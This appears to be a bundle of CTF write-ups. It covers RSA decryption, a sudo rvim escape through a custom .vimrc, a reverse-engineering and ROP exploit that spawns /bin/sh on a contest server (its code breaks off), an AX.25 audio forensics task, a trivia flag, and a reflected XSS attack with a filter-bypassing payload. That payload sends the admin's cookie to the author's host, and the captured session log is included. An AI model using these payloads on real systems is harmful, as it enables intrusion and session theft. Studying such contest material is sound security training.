https://help.ubuntu.com/community/SSH/OpenSSH/Keys[file permissions]: https://www.linux.com/learn/understanding-linux-file-permissions[octal file permission]: http://www.cyberciti.biz/faq/how-linux-file-permissions-work/[octal file permissions]: http://www.cyberciti.biz/faq/how-linux-file-permissions-work/[chmod]: https://en.wikipedia.org/wiki/Chmod[diff]: http://man7.org/linux/man-pages/man1/diff.1.html[.bashrc]: http://unix.stackexchange.com/questions/129143/what-is-the-purpose-of-bashrc-and-how-does-it-work[bashrc]: http://unix.stackexchange.com/questions/129143/what-is-the-purpose-of-bashrc-and-how-does-it-work[setuid]: https://en.wikipedia.org/wiki/Setuid[user id]: https://en.wikipedia.org/wiki/User_identifier[effective user id]: https://en.wikipedia.org/wiki/User_identifier#Effective_user_ID[cron]: https://en.wikipedia.org/wiki/Cron[file extension]: https://en.wikipedia.org/wiki/Filename_extension[file extensions]: https://en.wikipedia.org/wiki/Filename_extension[bash script]: https://linuxconfig.org/bash-scripting-tutorial[bash script]: https://linuxconfig.org/bash-scripting-tutorial[bash scripts]: https://linuxconfig.org/bash-scripting-tutorial[shebang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[she-bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[sha-bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[shabang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[sha bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[nano]: https://en.wikipedia.org/wiki/GNU_nano[text editor]: https://en.wikipedia.org/wiki/Text_editor[whoami]: https://en.wikipedia.org/wiki/Whoami[echo]: https://en.wikipedia.org/wiki/Echo_(command)[md5sum]: http://www.tutorialspoint.com/unix_commands/md5sum.htm[checksum]: https://en.wikipedia.org/wiki/Checksum[hash]: https://en.wikipedia.org/wiki/Cryptographic_hash_function[cut]: https://en.wikipedia.org/wiki/Cut_(Unix)[daemon]: https://en.wikipedia.org/wiki/Daemon_(computing)[temporary directory]: https://en.wikipedia.org/wiki/Temporary_folder[temp directory]: https://en.wikipedia.org/wiki/Temporary_folder[temp folder]: https://en.wikipedia.org/wiki/Temporary_folder[temporary folder]: https://en.wikipedia.org/wiki/Temporary_folder[seq]: http://www.cyberciti.biz/tips/tag/seq-command[/etc/passwd]: https://en.wikipedia.org/wiki/Passwd#Password_file[more]: https://en.wikipedia.org/wiki/More_(command)[vi]: https://en.wikipedia.org/wiki/Vi[vim]: http://www.vim.org/[caesar cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[vignere cipher]: https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher[substitution cipher]: https://en.wikipedia.org/wiki/Substitution_cipher[DNA]: https://en.wikipedia.org/wiki/Nucleic_acid_sequence[Python bytecode]: http://security.coverity.com/blog/2014/Nov/understanding-python-bytecode.html[uncompyle]: https://github.com/gstarnberger/uncompyle[Easy Python Decompiler]: https://github.com/aliansi/Easy-Python-Decompiler-v1.3.2[marshal]: https://docs.python.org/2/library/marshal.html[IDLE]: https://en.wikipedia.org/wiki/IDLE[bytecode]: http://whatis.techtarget.com/definition/bytecode[dis]: https://docs.python.org/2/library/dis.html[rot13]: https://en.wikipedia.org/wiki/ROT13[calendar]: https://docs.python.org/2/library/calendar.html[datetime]: https://docs.python.org/2/library/datetime.html[primefac]: https://pypi.python.org/pypi/primefac[re]: https://docs.python.org/2/library/re.html[IDA pro]: https://www.hex-rays.com/products/ida/[IDA]: https://www.hex-rays.com/products/ida/[QR Code]: https://en.wikipedia.org/wiki/QR_code[RGB]: https://en.wikipedia.org/wiki/RGB_color_model[RGB color]: https://en.wikipedia.org/wiki/RGB_color_model[exiftool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[robots.txt]: http://www.robotstxt.org/[XSS]: https://en.wikipedia.org/wiki/Cross-site_scripting[cross-site scripting]: https://en.wikipedia.org/wiki/Cross-site_scripting[cross site scripting]: https://en.wikipedia.org/wiki/Cross-site_scripting[cookie catcher]: http://hackwithstyle.blogspot.com/2011/11/what-is-cookie-catcher-and-how-to-get.html[johnhammond.org]: http://johnhammond.org[HTTP cookie]: https://en.wikipedia.org/wiki/HTTP_cookie[HTTP cookies]: https://en.wikipedia.org/wiki/HTTP_cookie[cookie]: https://en.wikipedia.org/wiki/HTTP_cookie[cookies]: https://en.wikipedia.org/wiki/HTTP_cookie[HTTP GET]: http://www.w3schools.com/Tags/ref_httpmethods.asp[tee]: https://en.wikipedia.org/wiki/Tee_(command)[reverse engineering]: https://en.wikipedia.org/wiki/Reverse_engineering[cryptography]: https://en.wikipedia.org/wiki/Cryptography[crypto]: https://en.wikipedia.org/wiki/Cryptography[sed]: https://en.wikipedia.org/wiki/Sed[padding]: https://en.wikipedia.org/wiki/Padding_(cryptography)[xortool]: https://github.com/hellman/xortool[XOR Cracker]: https://wiremask.eu/tools/xor-cracker/ |
# CR3: What is this encryption? 150pFady assumed this time that you will be so n00b to tell what encryption he is usinghe send the following note to his friend in plain sight:```p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520```He is underestimating our crypto skills!
## Recover dThis challenge requires some knowledge about basic crypto algorithms. Based on the variables that Fady sent we assumed this was RSA. A formal definition of the RSA algorithm can be expressed as the following:
Since we know `p, q, e, c` we can easily calculate the private key `d`, luckily for us we have https://github.com/ius/rsatool that can do it for us.
```consoleλ ~/Downloads/crypto03/ ./rsatool/rsatool.py -p 0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9 -q 0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307 -e 0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41Using (p, q) to initialise RSA instance
n =a22b591571af4e0d465774b82ccd9952eb479fdfdd551800c2940b1c114e25414fc62c60086563df6cba2fc164cafd0db253299dddfa57d8c4e87af9f271ef9e0cb10ab85139e5cf52ae39ff7f833380fbf3439e374c31ea26b2224b2d18cb194e3b3bb13cd6409c978e3e8ff35794ed4cf8cad0305b2b05b2ee66c09ca272ef
e =6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
d =1af78e760bba4f7b55ffffd7b9f22090a00f9ac629697fd7a971b64f81d6a3bbf6c552c3c29abe5aea07257e6fcfd2f63186da31252bbe03278732f8a4d8f7f35f8cbed38ac95f5be92aedbf093414750d11acb8a00afc9abf4d3b496d849436ef1826c27a03e362ed62f74ccc421f8c3e62d6b5967578220808b3f62b2f6c71
p =a6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q =fa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307```
Now we know `n` and `d`, we begin to decrypt the ciphertext `c` by creating a simple python script:
```python#!/usr/bin/env pythonimport binascii
p = int('0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9', 16)q = int('0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307', 16)e = int('0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41', 16)c = int('0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520', 16)N = int('0xa22b591571af4e0d465774b82ccd9952eb479fdfdd551800c2940b1c114e25414fc62c60086563df6cba2fc164cafd0db253299dddfa57d8c4e87af9f271ef9e0cb10ab85139e5cf52ae39ff7f833380fbf3439e374c31ea26b2224b2d18cb194e3b3bb13cd6409c978e3e8ff35794ed4cf8cad0305b2b05b2ee66c09ca272ef', 16)
d = int('0x1af78e760bba4f7b55ffffd7b9f22090a00f9ac629697fd7a971b64f81d6a3bbf6c552c3c29abe5aea07257e6fcfd2f63186da31252bbe03278732f8a4d8f7f35f8cbed38ac95f5be92aedbf093414750d11acb8a00afc9abf4d3b496d849436ef1826c27a03e362ed62f74ccc421f8c3e62d6b5967578220808b3f62b2f6c71', 16)
m = hex(pow(c, d, N)).rstrip("L").replace("0x","")
print(binascii.unhexlify(m))```
Let's run the code:
```consoleλ ~/Downloads/crypto03/ python solve.pyALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}``` |
# VimJail (pwn)
###ENG[PL](#pl-version)
In the task we get credentials to log-in on the server via SSH.We are `ctfuser` user and we can see that there is `flagReader` binary in our home, but with it's only executable for `secretuser`.The binary also has GUID bit set, so it can read flag in the `/.flag`.
By checking sudoers we notice that, as expected from the task name, we can sudo on secretuser when running `rvim`:
```sudo -u secretuser rvim```
The problem is that rvim restricts shell commands execution, so we can't simply run the `flagReader`.It took us a lot of time to figure this out but finally we noticed that we can use a custom `.vimrc` file when starting rvim, and commands in such file will be executed with the current user provileges!
So by using file:
```python3 import ospython3 os.system("/home/ctfuser/flagReader /.flag")```
And running:
```sudo -u secretuser rvim -u ourvimrcfile```
gives the flag `flag{rVim_is_no_silverbullet!!!111elf}`
###PL version
W zadaniu dostajemy dane do logowania na serwer po SSH.Logujemy się jako `ctfuser` i możemy zobaczyć ze ` home jest binarka `flagReader`, ale można jej użyć tylko jako `secretuser`.Binarka dodatkowo ma ustawiony GUID i może odczytać flagę z `/.flag`.
Po sprawdzeniu listy sudoers widzimy, że, zgodnie z oczekiwaniami po nazwie zadania, możemy zrobić sudo na secretusera uruchamiając `rvim`:
```sudo -u secretuser rvim```
Problem polega na tym, że rvim nie pozwala na uruchamianie komend shell więc nie możemy po prostu uruchomić `flagReader`.Zajęło nam dość sporo czasu wpadnięcie na rozwiązanie, ale finalnie zauważyliśmy, że można przy starcie podać własny plik `.vimrc` a komendy z tego pliku zostaną wykonane z uprawnieniami aktualnego użytkownika!
Więc używając pliku:
```python3 import ospython3 os.system("/home/ctfuser/flagReader /.flag")```
I uruchamiając:
```sudo -u secretuser rvim -u ourvimrcfile```
Dostajemy flagę `flag{rVim_is_no_silverbullet!!!111elf}` |
# meow (RE/Crypto/Pwn 365)
###ENG
Judging by points alone, this was most difficult challenge on the CTF - probably because of unusual mix of cryptography, RE and PWN.
We are given strange binary, that asks us for a password and decrypts two chunks od data with it:
```asmlea rdi, aHello? ; "***** hello? *****\n>>> "mov eax, 0call _printfmov rdx, cs:__bss_start ; streamlea rax, [rbp+s]mov esi, 0Bh ; nmov rdi, rax ; scall _fgetslea rax, [rbp+s]mov rdi, raxcall check_md5mov [rbp+var_1C], eaxcmp [rbp+var_1C], 1jnz short oklea rdi, aSorryBye ; "Sorry, bye!"call _putsmov edi, 0 ; statuscall _exit; ---------------------------------------------------------------------------
ok: ```
and `check_md5` is:
```asmcheck_md5 proc near ; CODE XREF: main+152
var_98 = qword ptr -98hvar_90 = byte ptr -90hs2 = byte ptr -30hvar_28 = qword ptr -28hs1 = byte ptr -20hvar_4 = dword ptr -4
push rbp mov rbp, rsp sub rsp, 0A0h mov [rbp+var_98], rdi mov [rbp+var_4], 0 mov rax, 618F652224A9469Fh mov qword ptr [rbp+s2], rax mov rax, 14B97D8EE7DE0DA8h mov [rbp+var_28], rax lea rax, [rbp+var_90] mov rdi, rax call _MD5_Init mov rcx, [rbp+var_98] lea rax, [rbp+var_90] mov edx, 0Ah mov rsi, rcx mov rdi, rax call _MD5_Update lea rdx, [rbp+var_90] lea rax, [rbp+s1] mov rsi, rdx mov rdi, rax call _MD5_Final lea rcx, [rbp+s2] lea rax, [rbp+s1] mov edx, 10h ; n mov rsi, rcx ; s2 mov rdi, rax ; s1 call _strncmp test eax, eax jz short loc_1460 mov eax, 1 jmp short locret_1465; ---------------------------------------------------------------------------
loc_1460: ; CODE XREF: check_md5+92 mov eax, 0
locret_1465: ; CODE XREF: check_md5+99 leave retncheck_md5 endp```
So this binary is computing md5 hash of our input, and compares it to hardcoded value. Of course we expected that this md5 will be easily crackable, or at least in some online database.This turned out not to be the case - it was impossible to crack this hash (at least with our budget, we're not NSA). Even though the password has only 10 characters, so it's not very strong.
So we looked further - what does this program do with our password later?
This is more readable in C:
```c decrypt(&first_chunk, &our_password, first_len); decrypt(&second_chunk, &our_password, second_len); qmemcpy_(&blob_1, v17, first_len, &first_chunk); qmemcpy_(&blob_2, v16, second_len, &second_chunk);```
And later, main function of program:
```c__int64 sub_C45(){ int v1; // [sp+Ch] [bp-4h]@1
v1 = 1; puts("- What kind of pet would you like to have?\n- Select the number of pet!"); printf("1. angelfish\n2. bear\n3. cat\n4. dog\n5. I don't want pets\n# number = "); __isoc99_fscanf(_bss_start, "%1d", &v1;; if ( v1 <= 0 || v1 > 5 ) { puts("*** bad number ***"); exit(0); } switch ( v1 ) { case 1: sub_C00(); break; case 2: sub_C17(); break; case 3: blob_1(); // <- here break; case 4: sub_C2E(); break; case 5: exit(0); break; } return 0LL;}```
So this program decrypts code with our password, and executes it!
This gives us some possiblities, but not much - for example, we can guess prologue and epilogue of function.
Now let's look at encryption. We reimplemented it in python as follows:
```pythondef decrypt_chunks(data, passw, k, sd, s0, st): """ encrypt chunks with size k start with [s0 bytes from front] [k-s0 bytes from back] start with s=s0 after every round add sd to s when s == st, change s to s0 again """ buff = [0] * 16 split = s0 of = 0 ob = len(data) for i in range(len(data) / k): for j in range(split): buff[j] = data[j + of] for j in range(k - split): buff[j + split] = data[split + ob - k + j] for j in range(k): buff[j] ^= passw[j] for j in range(split): data[j + of] = buff[j + k - split] for j in range(k - split): data[split + ob - k + j] = buff[j] of += split ob -= k - split if split == st: split = s0 else: split += sd
def decrypt(data, passw): pass1 = [passw[2*i+1] for i in range(5)]
decrypt_chunks(data, passw, 7, 2, 3, 7) decrypt_chunks(data, pass1, 5, -1, 5, 1) decrypt_chunks(data, passw, 10, 1, 4, 8) decrypt_chunks(data, passw, 10, 1, 4, 8)```
And encryption, because it's easy to guess knowing how to decrypt:
```pythondef encrypt_chunks(data, passw, k, sd, s0, st): """ encrypt chunks with size k start with [s0 bytes from front] [k-s0 bytes from back] start with s=s0 after every round add sd to s when s == st, change s to s0 again """ buff = [0] * 16 split = s0 of = 0 ob = len(data) for i in range(len(data) / k): for j in range(split): buff[j + k - split] = data[j + of] for j in range(k - split): buff[j] = data[split + ob - k + j] for j in range(k): buff[j] ^= passw[j] for j in range(split): data[j + of] = buff[j] for j in range(k - split): data[split + ob - k + j] = buff[j + split] of += split ob -= k - split if split == st: split = s0 else: split += sd
def encrypt(data, passw): pass1 = [passw[2*i+1] for i in range(5)]
encrypt_chunks(data, passw, 10, 1, 4, 8) encrypt_chunks(data, passw, 10, 1, 4, 8) encrypt_chunks(data, pass1, 5, -1, 5, 1) encrypt_chunks(data, passw, 7, 2, 3, 7)```
And that's basically all we know. We also have encrypted blobs:
```pythondata0 = """F1 64 72 4A 4F 48 4D BA 77 73 1D 34 F5 AF B8 0F24 56 11 65 47 A3 2F 73 A4 56 4F 70 4A 13 57 9C3F 6F 06 61 40 90 AF 39 10 29 34 C3 00 7A 40 3D4E 3F 0E 2A 2F 20 7F 73 89 7D 4B 1D 09 AA D0 0021 89 4D 2A 67 7C 18 3B 39 F2 8D 1C A7 71 57 2E31 14 67 48 3C 7D AF 70 AE 10 31 68 D1 26 05 C825 F2 62 F5 5D 38 34 F2 20 0E 7E 9F FB 57 72 2657 67 15 10 15 13 B9 3E 79 89 5D 24 12 01 98 7B18 25 E0 DF 7C 24 1B 2D 44 B0 10 3D 57 3D 62 B421 1D 3E D1 10 D7 45 74 96 2B 6D 3B ED 10 00 6731 DF 6C B8 86 1A 7C 6B 64 78 C6 37 76 E6 61 A0AD BE 4C BA A7 0D""".replace('\n', '').replace(' ', '').decode('hex')
data1 = """08 4F FE AB 4E AA B4 03 4D 99 6E A1 48 D0 7D A2E0 49 38 61 2D BC 5E 2C 5D 62 3F 89 C6 B8 5C 5A4B 13 41 07 DF BF C2 29 07 64 14 25 32 00 73 692D 58 4B 76 15 29 2F A1 00 00 00 00 00 00 00 00""".replace('\n', '').replace(' ', '').decode('hex')```
That's the end of `RE` part (not very easy, but manageable), now comes `Crypto`.
How can we decrypt the code, and second blob? Well, If we look at the "encrypt" function, it's just a lot of xors with password characters, and permuting order. What exactly is xored? Maybe it's possible to reverse it easily?
Let's check. I used our SymbolicXor class (it's very useful in situations like this)
```pythonclass SymbolicXor: def __init__(self, ops, const=0): if isinstance(ops, str): ops = [ops] self.ops = sorted(ops) self.const = const
def __xor__(self, other): if isinstance(other, int): return SymbolicXor(self.ops, self.const ^ other) elif isinstance(other, SymbolicXor): return SymbolicXor(self.setxor(self.ops, other.ops), self.const ^ other.const)
__rxor__ = __xor__
def setxor(self, a, b): out = list(a) for el in b: if el in out: out.remove(el) else: out.append(el) return out
def __str__(self): if self.const == 0 and not self.ops: return '0' return '^'.join(str(c) for c in self.ops + ([self.const] if self.const else []))
__repr__ = __str__
def __eq__(self, oth): return self.ops == oth.ops and self.const == oth.const```
And:```pythondef make_sympad(syms): passw = [SymbolicXor('v'+str(i)) for i in range(16)] pad = map(ord, '\0' * syms) decrypt(pad, passw) return pad
def permute(data): perm = map(ord, data) decrypt(perm, [0]*16) return ''.join(map(chr, perm))
def transform(data, maps): # pad - encrypted and permutted zeroes - so plain 'one time pad' generated from password pad = make_sympad(len(data))
# perm - permutation of encrypted data, so they are in original order perm = permute(data)
out = '' for i in range(len(data)): a = pad[i] #print perm[i].encode('hex'), for con, sym in maps: if sym == a: #print chr(ord(perm[i]) ^ con).encode('hex'), a #print chr(ord(perm[i]) ^ con), a c = chr(ord(perm[i]) ^ con) if c not in string.printable: return None out += c break else: #print '?', a out += '?' return out```
This allowed me to show all constraints, or rather answer the question `"what is this byte xored with"`
```00 ? v2^v5aa ? v2^v348 ? v1^v8d0 ? v3^v9b4 ? v0^v3^v5^v900 ? v1^v3^v5^v600 ? v2^v5^v6^v74d ? v0^v3^v7^v800 ? v3^v45d ? v4^v862 ? v2^v3^v5^v9a1 ? v0^v3^v5^v64f O 0fe ? v8^v94e ? v1^v3^v7^v929 ? v3^v500 ? v4^v5^v713 ? v0^v5^v7^v889 ? v1^v4^v6^v9a1 ? v0^v1^v4^v700 ? v1^v3^v5^v800 ? v2^v5^v6^v938 ? v0^v2^v4^v95a ? v1^v3^v5^v74b ? v2^v4^v6^v941 ? v1^v5^v7^v9b8 ? v1^v832 ? v3^v6^v7^v92c ? v7^v861 a 076 ? v2^v507 ? v2^v325 ? v4^v5^v8^v929 ? v1^v5^v9df ? v3^v973 ? v3^v569 ? v5^v6c2 ? v0^v707 ? v0^v2^v664 ? v1^v3^v714 ? v2^v4^v8bf ? v1^v3^v4^v958 ? v0^v14b ? v1^v33f ? v0^v2^v3^v52d ? v1^v72d ? v0^v2^v3^v7bc ? v1^v3^v4^v915 ? v2^v308 ? v4^v92f ? v1^v3^v5^v9c6 ? v2^v3^v5^v65c ? v0^v3^v5^v75e ? v0^v1^v4^v57d } 0a2 ? v0^v2^v3^v7e0 ? v1^v3^v5^v849 ? v2^v4^v7^v9ab ? v5^v699 ? v1^v76e ? v3^v803 ? v1^v3^v4^v900 ? v0^v100 ? v1^v3```
First column: value in ciphertextSecond column: plaintext byte, if known (known only if we're xoring with zero, of course)Third column: password chars we're xoring with (v0 = first char, v1 = second char, etc)
Ok, it's something but not enough. In fact, this was very misleading, because we thought that this second encrypted blob is flag, or at least plaintext (all known bytes are printable)! This turned out not to be the case, and I wasted a lot of time, unfortunatelly.
But to the point, I think word of explaination is due (i skipped a lot of things). What does this even do:
```pythondef make_sympad(syms): passw = [SymbolicXor('v'+str(i)) for i in range(16)] pad = map(ord, '\0' * syms) decrypt(pad, passw) return pad
def permute(data): perm = map(ord, data) decrypt(perm, [0]*16) return ''.join(map(chr, perm))
def transform(data, maps): # pad - encrypted and permutted zeroes - so plain 'one time pad' generated from password pad = make_sympad(len(data))
# perm - permutation of encrypted data, so they are in original order perm = permute(data)```
So, I knew that everything is just xoring - so in theory if I'll encrypt zeroes, I'll know exactly what gets xored with what (because of SymbolicXor class). But there is small problem, order of characters in ciphertext is permuted, so I had to create `permute` function that reverses that permutation (I know, not the best name).
Going back to our ciphertexts - I discovered that if we decrypt both ciphertexts, they both have the same start and similar end. And because we know that first ciphertext is code, that means that second CT must be too.
What can we do with this knowledge? A lot!.
We assumed most standard prologue and epilogue, and came out with something like this (excuse non-standard notation) - for fragments that was the same in both ciphertexts:
``` ((0x55 ^ 0x0d), SymbolicXor(['v5', 'v2'])), # push rbp ((0x48 ^ 0x48), SymbolicXor(['v2', 'v3'])), # mov rbp, rsp ((0x89 ^ 0xf5), SymbolicXor(['v1', 'v8'])), ((0xe5 ^ 0xaf), SymbolicXor(['v3', 'v9'])), ((0x48 ^ 0x4d), SymbolicXor(['v0', 'v3', 'v5', 'v9'])), # lea rdi [stuff] ((0xa7 ^ 0xC3), SymbolicXor(['v1', 'v3'])), # ret at the end```
This list means for example that `v5 ^ v2 == 0x55 ^ 0x0d`. So what? Well, by itself it's useless, but remember that we know md5 of whole password! So now we can intelligently bruteforce everything:
```pythonimport hashlibimport string
charset = string.printablesought = '9F46A92422658F61A80DDEE78E7DB914'.decode('hex')
for o1 in map(ord, charset): o3 = o1 ^ (0xa7 ^ 0xc3) o8 = o1 ^ (0x89 ^ 0xf5) o2 = o3 ^ (0x48 ^ 0x48) o5 = o2 ^ (0x55 ^ 0x0d) o9 = o3 ^ (0xe5 ^ 0xaf) o0 = o3 ^ o5 ^ o9 ^ (0x48 ^ 0x4d) v0 = chr(o0) v1 = chr(o1) v2 = chr(o2) v3 = chr(o3) v5 = chr(o5) v8 = chr(o8) v9 = chr(o9)
for v4 in charset: for v6 in charset: for v7 in charset: passw = v0 + v1 + v2 + v3 + v4 + v5 + v6 + v7 + v8 + v9 if hashlib.md5(passw).digest() == sought: print passw```
And... it worked!
```$ ./brute$W337k!++y```
Awesome, let's use it and get the flag:
```╰─$ ./meow.exe***** hello? *****>>> $W337k!++y- What kind of pet would you like to have?- Select the number of pet!1. angelfish2. bear3. cat4. dog5. I don't want pets# number = 3Did you choose a cat?????What type of cat would you prefer? '0'>>>0fish: “./meow.exe” terminated by signal SIGSEGV (Address boundary error)```
Wait, what? WTF codegate, where is my flag? Let's reverse what happened. This is decrypted function that gets called:
```asmsub_7FFF3A41CC70 proc near
var_60= qword ptr -60hvar_58= qword ptr -58hvar_50= qword ptr -50hvar_48= qword ptr -48hvar_40= qword ptr -40hvar_38= qword ptr -38hvar_30= qword ptr -30hvar_28= qword ptr -28hvar_20= dword ptr -20hvar_1C= byte ptr -1Ch
push rbpmov rbp, rspsub rsp, 60hmov rax, 20756F7920646944hmov [rbp+var_60], raxmov rax, 612065736F6F6863hmov [rbp+var_58], raxmov rax, 3F3F3F3F74616320hmov [rbp+var_50], raxmov rax, 7420746168570A3Fhmov [rbp+var_48], raxmov rax, 6320666F20657079hmov [rbp+var_40], raxmov rax, 646C756F77207461hmov [rbp+var_38], raxmov rax, 65727020756F7920hmov [rbp+var_30], raxmov rax, 273027203F726566hmov [rbp+var_28], raxmov [rbp+var_20], 3E3E3E0Ahmov [rbp+var_1C], 0lea rax, [rbp+var_60]mov edx, 44hmov rsi, raxmov edi, 1mov eax, 1syscalllea rax, [rbp+8]mov edx, 18hmov rsi, raxmov edi, 0mov eax, 0syscallnopleaveretnsub_7FFF3A41CC70 endp```
See it yet? Yes, this code reads 18 bytes **on the stack, overwriting the return address**. Yeah, we're in pwn challenge now.
But this won't stop us. Fortunatelly, exploit turned out to be easier than I thought, because second ciphertext was clearly meant to help us:
```asmsub_7FFF3A41CC30 proc near
var_8= qword ptr -8
push rbpmov rbp, rspsub rsp, 10hmov [rbp+var_8], rdimov rax, [rbp+var_8]mov edx, 0mov esi, 0mov rdi, raxmov eax, 3Bhsyscallnopleaveretnsub_7FFF3A41CC30 endp
; ---------------------------------------------------------------------------db 0db 0aBinSh db '/bin/sh',0db 0db 0db 0db 0db 0
; =============== S U B R O U T I N E =======================================
sub_7FFF3A41CC66 proc nearpop rdiretn```
Additionally this code was loaded at constant offset in memory, so this should be easy as PWN 100 in High-School CTF.
Our ROP chain will look like this:
```[pop rdi gadget]"/bin/sh"[shellcode]```
So we'll pop "/bin/sh" to edi, and execute execve systall with it.
Easy enough wth pwnlib!
```pythonfrom pwn import *
r = remote('110.10.212.139', 50410)
print r.recv()
r.send('$W337k!++y\n')
print r.recv()print r.recv()
r.send('3\n')
print r.recv()
import struct
ra = struct.pack(' |
# BSidesSF CTF 2017 - Latlong (Forensics 150)
>Transmission Received.
>This challenge was created by our pal @arirubinstein.>He was not informed of the flag format, so expect this one to be look something like flag{...}
The file seems to be an audio file and at first I thought it was a 56Kbps "Dial-up modem noise" (who used to connect to the Internet some years ago, will definitely remember).
But luckily, shortly after the admins posted an hint:
>Hint - "Ax25 will lead you in the direction"
AX.25 (Amateur X.25) is a data link layer protocol suite and designed for use by amateur radio operators.
So it was clear that we had to decode the file using the protocol [specification](https://www.tapr.org/pub_ax25.html).
I started reading the protocol specification, and I was going to implement a decoder, but I was sure I could find something already implemented.
I found this decoder on GitHub: [Invasive](https://github.com/h2so5/Invasive)
And opening the file audio with this decoder showed the flag:
 |
<span>Trivia 10 - Hello there</span><span>Description</span>Why not drop us a few lines and say hi :).<span>Solution</span>The topic on the IRC channel #alexctf on Freenode is "Alexandria University student held capture the flag event ctf.oddcoder.com ALEXCTF{W3_w15h_y0u_g00d_luck}"<span>Flag</span><span>ALEXCTF{W3_w15h_y0u_g00d_luck}</span> |
Moana and her friends were out on a sea voyage, spending their summer joyously. Unfortnately, they came across Charybdis, the sea monster. Charybdis, furious over having unknown visitors, wreaked havoc on their ship. The ship was lost.Luckily, Moana survived, and she was swept to a nearby island. But, since then, she has not seen her friends. Moana has come to you for help. She believes that her friends are still alive, and that you are the only one who can help her find them. and give us one photo |
#yoso(web, 250, 38 solves)> You only live once, so why search twice?
> (admins love to search for flags btw)
We are able to send a link to admin, which he then visits. Our goal is to download admin's bookmarks.
After some investigation, we found a reflected xss at `http://78.46.224.80:1337/download.php?zip=<script>alert("hello world")</script>`
So all we have to do now is either steal the admins'c cookie or get the zip with a ajax/xmlhttp request and then send a request to `ourdomain.com/+data`. We'll go with the first option, as it's a lot easier.
Payload:
``` javascript
<script> window.location = "http://nazywam.host/itWorks!"+document.cookie </script>
```
Unfortunately, the zip parameter is filtered, all dots are removed. So we have to find a way to bypass it.
* `nazywam.host` can be easily changed into a decimal ip, `1558071511` * `window.location` and `document.cookie` can be written as `window["location"]` and `document["cookie"]` * `string + string` -> `string["concat"](string)`
Final payload:
``` javascript
<script>window["location"] = "http://1558071511/itWorks!"["concat"](document["cookie"]) </script>
````
This allows us to get the cookie
```78.46.224.80 - - [29/Dec/2016:11:46:48 +0100] "GET /itWorks!PHPSESSID=ol8gur9chbfq0g0ufnm6h8vrc1 HTTP/1.1" 404 143 "http://78.46.224.80:1337/download.php?zip=%3Cscript%3Ewindow[%22location%22]%20=%20%22http://1558071511/itWorks!%22[%22concat%22](document[%22cookie%22])%20%3C/script%3E" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"```
And finally, the flag: `33C3_lol_wHo_needs_scr1pts_anyway` |
